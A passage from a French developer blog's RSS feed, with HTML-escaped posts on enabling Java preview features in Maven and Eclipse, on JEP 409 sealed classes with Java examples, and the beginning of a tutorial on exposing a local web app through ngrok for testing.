    &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;maven-surefire-plugin&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;3.0.0-M3&amp;lt;/version&amp;gt;
    &amp;lt;configuration&amp;gt;
        &amp;lt;argLine&amp;gt;--enable-preview&amp;lt;/argLine&amp;gt;
    &amp;lt;/configuration&amp;gt;
&amp;lt;/plugin&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;configuration_declipse&quot;&gt;Configuration d&amp;#8217;Eclipse&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La configuration est faite au niveau des propriétés du projet dans le volet Compilateur Java.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/06/eclipse-configure-preview-on-java-compiler.png&quot; alt=&quot;eclipse configure preview on java compiler&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/12&quot;&gt;JEP 12 Preview features&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 409 Classes scellées</title>
      <link>https://www.lilian-benoit.fr/2021/05/JEP-409-Sealed-classes.html</link>
      <pubDate>dim., 23 mai 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/05/JEP-409-Sealed-classes.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#principe&quot;&gt;Principe&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#précision_pour_le_mot_clé_permits&quot;&gt;Précision pour le mot-clé &lt;code&gt;permits&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#précision_pour_le_mot_clé_non_sealed&quot;&gt;Précision pour le mot-clé &lt;code&gt;non-sealed&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#interfaces&quot;&gt;Interfaces&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#enregistrements&quot;&gt;Enregistrements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exemple_dutilisation&quot;&gt;Exemple d&amp;#8217;utilisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je vous avais présenté la &lt;a href=&quot;/2021/03/JDK16-Nouveautes.html#397_sealed_classes_second_preview&quot;&gt;fonctionnalité au moment de la sortie du JDK 16&lt;/a&gt;. Cette fonctionnalité était en mode Aperçu. Maintenant que c&amp;#8217;est en standard dans le langage, profitons pour regarder cela de plus prêt.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Aucune modification a été apporté par rapport à la &lt;a href=&quot;https://openjdk.java.net/jeps/397&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 397 Sealed classes (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est d&amp;#8217;enrichir l&amp;#8217;héritage afin d&amp;#8217;amener plus de contrôle. En effet, actuellement, nous avons uniquement le mot clé &lt;code&gt;final&lt;/code&gt;. Cela permet de bloquer l&amp;#8217;héritage. Donc, nous ne peuvons pas avoir des classes dérivées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.exemple.;

public final class Forme {
	...
}

public final class Rectangle extends Forme { // Erreur de compilation
 	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les classes scellées sont un moyen pour le développeur d’avoir plus de contrôle. Pour cela, nous avons deux nouveaux mot clés &lt;code&gt;sealed&lt;/code&gt; et &lt;code&gt;non-sealed&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sealed&lt;/code&gt; : permet d’avoir des classes dérivées à condition qu’elles fassent partir des classes autorisées pour cela il y a le mot clé &lt;code&gt;permits&lt;/code&gt; à utiliser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;non-sealed&lt;/code&gt; : permet de ne pas limiter les classes dérivées.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle {
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous définissons une classe abstraite &lt;code&gt;Forme&lt;/code&gt; dont seules les classes &lt;code&gt;Cercle&lt;/code&gt; et &lt;code&gt;Rectangle&lt;/code&gt; sont autorisées comme classes dérivées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par conséquent, si le développeur essaie d&amp;#8217;écrire l&amp;#8217;héritage pour une autre classe. Cela provoquera une erreur de compilation si nous essayons.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.exemple.geometrie;

public class Triangle extends Forme  { // Erreur de compilation
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;précision_pour_le_mot_clé_permits&quot;&gt;Précision pour le mot-clé &lt;code&gt;permits&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si les classes dérivées sont dans le même fichier. Le mot clé &lt;code&gt;permits&lt;/code&gt; n&amp;#8217;est pas nécessaire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.exemple.geometrie;

public abstract sealed class Forme {
	...

    public final class Cercle extends Forme {
        ...
    }

    public non-sealed class Rectangle extends Forme {
        ...
    }

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;précision_pour_le_mot_clé_non_sealed&quot;&gt;Précision pour le mot-clé &lt;code&gt;non-sealed&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Du fait que nous avons précisé que la classe &lt;code&gt;Rectangle&lt;/code&gt; n&amp;#8217;est pas scellée. Nous pouvons hériter de cette classe. Par exemple, nous pouvons avoir la classe &lt;code&gt;Carré&lt;/code&gt; définie ainsi :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.exemple.geometrie;

public final class Carre extends Rectangle {
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;interfaces&quot;&gt;Interfaces&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela fonctionne aussi avec les interfaces&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package fr.exemple.geometrie;

public sealed interface Forme
    permits Cercle, Rectangle, Carre {
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;enregistrements&quot;&gt;Enregistrements&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les enregistrements peuvent être utilisés pour l&amp;#8217;héritage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour rappel, les enregistrements sont des classes. Elles ne peuvent pas hérités d&amp;#8217;autres classes (puisque héritage vers &lt;code&gt;Record&lt;/code&gt;) mais elles peuvent implémenter une ou plusieurs interfaces.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ci dessous un exemple avec les enregistrements :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public sealed interface Noeud
	permits Noeud.Feuille, Noeud.Multiplication, Noeud.Addition {

	public double eval();

	public record Feuille(double val) implements Noeud {
		public double eval() {
			return val;
		}
	}
    ...

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;avais utilisé cet exemple lors de conférence sur les nouveautés de Java 16. Le &lt;a href=&quot;https://github.com/lilian-benoit/java16-nouveautes-exos/blob/master/jdk16-exos-solution/src/main/java/fr/lbenoit/conference/jdk16/records_sealed/Noeud.java&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;code complet&lt;/a&gt; de cet exemple est disponible sur mon github.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exemple_dutilisation&quot;&gt;Exemple d&amp;#8217;utilisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela sera peut-être plus utile pour les personnes qui développent des librairies afin de maitriser les classes et éviter que certains classes soient étendues.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK prévoit son utilisation par exemple pour protéger certaines interfaces. Par exemple, l&amp;#8217;interface &lt;a href=&quot;https://docs.oracle.com/en/java/javase/16/docs/api/java.base/java/lang/constant/ClassDesc.html&quot;&gt;ClassDesc&lt;/a&gt; où la javadoc indique clairement son usage quand les classes scellées seront disponibles en standard.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/05/ClassDesc-javadoc.png&quot; alt=&quot;ClassDesc javadoc&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/409&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 409 Sealed classes&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/397&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 397 Sealed classes (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/16/docs/specs/sealed-classes-jls.html#jls-13.4.2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Impact des classes scellées sur Java Language Specification (JLS)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/16/docs/api/java.base/java/lang/constant/ClassDesc.html&quot;&gt;Javadoc de l&amp;#8217;interface ClassDesc&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lilian-benoit/java16-nouveautes-exos/blob/master/jdk16-exos-solution/src/main/java/fr/lbenoit/conference/jdk16/records_sealed/Noeud.java&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Code complet pour les enregistrements et les classes scellées&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/03/JDK16-Nouveautes.html&quot;&gt;Billet sur les nouveautés de Java 16&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/04/java16_les_nouveautes.html&quot;&gt;Ma conférence sur &quot;Java 16 - Les nouveautés&quot; au BordeauxJUG&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Comment tester une application locale via Internet avec ngrok</title>
      <link>https://www.lilian-benoit.fr/2021/05/ngrok-tester-une-application-locale-via-Internet.html</link>
      <pubDate>dim., 16 mai 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/05/ngrok-tester-une-application-locale-via-Internet.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_principe&quot;&gt;Le principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#module_serveur&quot;&gt;Module Serveur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#module_client&quot;&gt;Module Client&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation&quot;&gt;Utilisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#outils_de_suivi&quot;&gt;Outils de suivi&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#mode_console&quot;&gt;mode console&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mode_web&quot;&gt;mode web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#console_ngrok&quot;&gt;console ngrok&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De nos jours, il existe un certain nombre d&amp;#8217;outils en ligne pour aider le développeur. Ces outils permettent de réaliser des analyses sur une page et de fournir des recommandations. Nous avons par exemple l&amp;#8217;outil &lt;a href=&quot;https://search.google.com/search-console/about&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google Console Search&lt;/a&gt; qui permet de voir comment le moteur de recherche récupère les informations de notre page.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Autre cas : Tester une application mobile qui doit appeler une API dont nous voudrions vérifier le comportement sur le poste de développement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, pour l&amp;#8217;outil ou d&amp;#8217;autres, la page ou l&amp;#8217;API doivent être disponible sur Internet. Et c&amp;#8217;est là que l&amp;#8217;outil &lt;code&gt;ngrok&lt;/code&gt; intervient.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;le_principe&quot;&gt;Le principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il se décompose en deux parties : un module serveur et un module client.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le déroulement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Le module serveur est disponible sur Internet (le site &lt;a href=&quot;https://ngrok.com&quot; class=&quot;bare&quot;&gt;https://ngrok.com&lt;/a&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nous lançons le module client sur le poste local (ou la machine qui contient le service à exposer). C&amp;#8217;est ce dernier qui se connecte au module serveur.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;De là, le serveur met à disposition une nouvelle url.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cette nouvelle url est accessible sur Internet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lors de l&apos; accès à cette url, la demande sera transférée vers le module client (par le biais d&amp;#8217;un tunnel mis en place entre le client et le serveur).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Il n&amp;#8217;y a pas de problème avec les pare-feux car c&amp;#8217;est le programme client qui se connecte à Internet (Nous sommes dans le bon sens).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;module_serveur&quot;&gt;Module Serveur&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le serveur est un service en ligne. Donc il n&amp;#8217;y pas d&amp;#8217;installation mais un compte à créer sur le site &lt;a href=&quot;https://ngrok.com&quot; class=&quot;bare&quot;&gt;https://ngrok.com&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Il existe plusieurs plans. Pour mon usage, le plan FREE à $0 est suffisant (for ever au moment de l&amp;#8217;écriture de ce billet).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une fois le compte créé, vous allez pouvoir récupérer le token. Cela permettra au client de s&amp;#8217;authentifier auprès du serveur. Pour cela, allez dans le menu Getting Started &amp;gt; Your Authtoken.
&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/05/ngrok-authtoken.png&quot; alt=&quot;ngrok authtoken&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Si vous avez une solution en hébergement autonome, n&amp;#8217;hésitez pas à me laisser un commentaire (en bas de ce billet)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;module_client&quot;&gt;Module Client&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là, il faut installer le module client en local (ou sur la machine où il y a le service que nous souhaitons interroger via Internet).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je ne traiterai que le cas de Linux dans ce billet, mais le programme est disponible sur plusieurs système d&amp;#8217;exploitations libres ou non.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La première opération est de télécharger l&amp;#8217;archive en allant sur le site &lt;a href=&quot;https://ngrok.com/download&quot; class=&quot;bare&quot;&gt;https://ngrok.com/download&lt;/a&gt;
puis nous allons la décompresser :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;unzip ngrok-stable-linux-amd64.zip&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et c&amp;#8217;est tout pour l&amp;#8217;installation. Il y a juste un exécutable à démarrer.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Il n&amp;#8217;y a pas besoin d&amp;#8217;avoir le droit d&amp;#8217;administrateur sur la machine.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revance, Il va être nécessaire de renseigner notre token (la clé d&amp;#8217;authentification). Pour cela, nous allons utiliser la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./ngrok authtoken &amp;lt;mon-token&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour information, il va stoker le token dans le fichier ~/.ngrok2/ngrok.yml&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation&quot;&gt;Utilisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons simplement lancer le programme en précisant deux arguments, nous aurons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./ngrok http 8820&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ou&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./ngrok http localhost:8820&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le premier argument permet d&amp;#8217;indiquer que nous souhaitons utiliser le protocole &lt;strong&gt;http&lt;/strong&gt;. Il est possible de réaliser des tunnels &lt;strong&gt;tcp&lt;/strong&gt; ou &lt;strong&gt;tls&lt;/strong&gt; avec l&amp;#8217;option éponyme à la place de &lt;strong&gt;http&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le second argument est soit tout simplement le numéro de port (l&amp;#8217;hôte sera localhost), soit nous précisons l&amp;#8217;hôte et le numéro de port séparé par le caractère deux points.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A ce moment là, le tunnel devient actif. Nous pouvons voir l&amp;#8217;état et notamment l&amp;#8217;url publique à utiliser.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;ngrok by @inconshreveable                                                                                                       (Ctrl+C to quit)

Session Status                online
Account                       Lilian BENOIT (Plan: Free)
Version                       2.3.40
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    http://1876d82f999d.ngrok.io -&amp;gt; http://localhost:8820
Forwarding                    https://1876d82f999d.ngrok.io -&amp;gt; http://localhost:8820

Connections                   ttl     opn     rt1     rt5     p50     p90
                              0       0       0.00    0.00    0.00    0.00&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous allons pouvoir prendre un navigateur pour accèder à l&amp;#8217;url (par exemple sur mon téléphone portable)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/05/ngrok-par-navigateur.png&quot; alt=&quot;ngrok par navigateur&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;A noter que le programme client ne rend pas la main. Pour l&amp;#8217;arrêter, il faudra réaliser un CTRL+C dans le terminal.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;outils_de_suivi&quot;&gt;Outils de suivi&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
